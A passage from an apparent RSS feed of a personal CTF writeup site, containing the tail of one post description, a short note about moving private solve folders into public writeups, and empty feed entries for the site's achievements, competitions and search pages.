receipt — the&#10;writeup is the actual work.&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;p&gt;&lt;em&gt;Just getting started&lt;/em&gt; — &lt;strong&gt;Structuring the archive&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;Imported all of my private solve folders into this site so that every&#10;challenge from here on gets a public writeup with the full methodology.&lt;/p&gt;</description></item><item><title>Achievements</title><link>https://hotwater-online.xyz/achievements/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/achievements/</guid><description/></item><item><title>CTF Competitions</title><link>https://hotwater-online.xyz/ctfs/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/ctfs/</guid><description/></item><item><title>Search</title><link>https://hotwater-online.xyz/search/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/search/</guid><description/></item></channel></rss>